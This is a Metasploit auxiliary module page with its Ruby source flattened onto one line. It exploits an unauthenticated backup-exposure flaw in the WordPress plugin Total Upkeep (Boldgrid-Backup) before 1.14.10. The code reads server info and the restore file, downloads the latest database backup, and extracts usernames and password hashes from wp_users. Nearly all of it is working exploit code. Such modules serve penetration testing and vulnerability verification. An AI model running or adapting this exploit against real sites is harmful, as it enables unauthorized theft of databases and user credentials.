Headline
WordPress Total Upkeep Unauthenticated Backup Downloader
This Metasploit module exploits an unauthenticated database backup vulnerability in WordPress plugin Boldgrid-Backup also known as Total Upkeep version < 1.14.10. First, env-info.php is read to get server information. Next, restore-info.json is read to retrieve the last backup file. That backup is then downloaded, and any sql files will be parsed looking for the wp_users INSERT statement to grab user creds.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress Total Upkeep Unauthenticated Backup Downloader', 'Description' => %q{ This module exploits an unauthenticated database backup vulnerability in WordPress plugin 'Boldgrid-Backup' also known as 'Total Upkeep' version < 1.14.10. First, `env-info.php` is read to get server information. Next, `restore-info.json` is read to retrieve the last backup file. That backup is then downloaded, and any sql files will be parsed looking for the wp_users INSERT statement to grab user creds. }, 'References' => [ ['EDB', '49252'], ['WPVDB', '10502'], ['WPVDB', '10503'], ['URL', 'https://plugins.trac.wordpress.org/changeset/2439376/boldgrid-backup'] ], 'Author' => [ 'Wadeek', # Vulnerability discovery 'h00die' # Metasploit module ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS] }, 'DisclosureDate' => '2020-12-12', 'License' => MSF_LICENSE ) ) end def run_host(ip) unless wordpress_and_online? fail_with Failure::NotVulnerable, "#{ip} - Server not online or not detected as wordpress" end checkcode = check_plugin_version_from_readme('boldgrid-backup', '1.14.10') unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode) fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of Boldgrid Backup was not found" end print_good("#{ip} - Vulnerable version of Boldgrid Backup detected") print_status("#{ip} - Obtaining Server Info") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cli', 'env-info.php') }) fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200 begin data = JSON.parse(res.body) rescue StandardError fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}" end output = [] data.each do |k, v| output << " #{k}: #{v}" end print_good("#{ip} - \n#{output.join("\n")}") path = store_loot( 'boldgrid-backup.server.info', 'text/json', ip, data, 'env-info.json' ) print_good("#{ip} - File saved in: #{path}") print_status("#{ip} - Obtaining Backup List from Cron") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cron', 'restore-info.json') }) fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res fail_with Failure::NotVulnerable, "#{ip} - No database backups detected" if res.code == 404 fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200 begin data = JSON.parse(res.body) rescue StandardError fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}" end output = [] data.each do |k, v| output << " #{k}: #{v}" end print_good("#{ip} - \n#{output.join("\n")}") path = store_loot( 'boldgrid-backup.backup.info', 'text/json', ip, data, 'restore-info.json' ) print_good("#{ip} - File saved in: #{path}") unless data['filepath'] print_bad("#{ip} - no file found") end # pull a url from the local file system path path = data['filepath'].sub(data['ABSPATH'], '') print_status("#{ip} attempting download of #{path}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, path) }) fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res fail_with Failure::NotVulnerable, "#{ip} - Unable to download" if res.code == 404 fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200 path = store_loot( 'boldgrid-backup.backup.zip', 'application/zip', ip, res.body, path.split('/').last ) print_good("#{ip} - Database backup (#{res.body.bytesize} bytes) saved in: #{path}") Zip::File.open(path) do |zip_file| # Handle entries one by one zip_file.each do |entry| # Extract to file next unless entry.name.ends_with?('.sql') print_status("#{ip} - Attempting to pull creds from #{entry}") f = entry.get_input_stream.read f.split("\n").each do |l| next unless l.include?('INSERT INTO `wp_users` VALUES ') columns = ['user_login', 'user_pass'] table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns) l.split('),(').each do |user| user = user.split(',') username = user[1].strip username = username.start_with?("'") ? username.gsub("'", '') : username hash = user[2].strip hash = hash.start_with?("'") ? hash.gsub("'", '') : hash create_credential({ workspace_id: myworkspace_id, origin_type: :service, module_fullname: fullname, username: username, private_type: :nonreplayable_hash, jtr_format: Metasploit::Framework::Hashes.identify_hash(hash), private_data: hash, service_name: 'Wordpress', address: ip, port: datastore['RPORT'], protocol: 'tcp', status: Metasploit::Model::Login::Status::UNTRIED }) table << [username, hash] end print_good(table.to_s) end end end print_status("#{ip} - finished processing backup zip") endend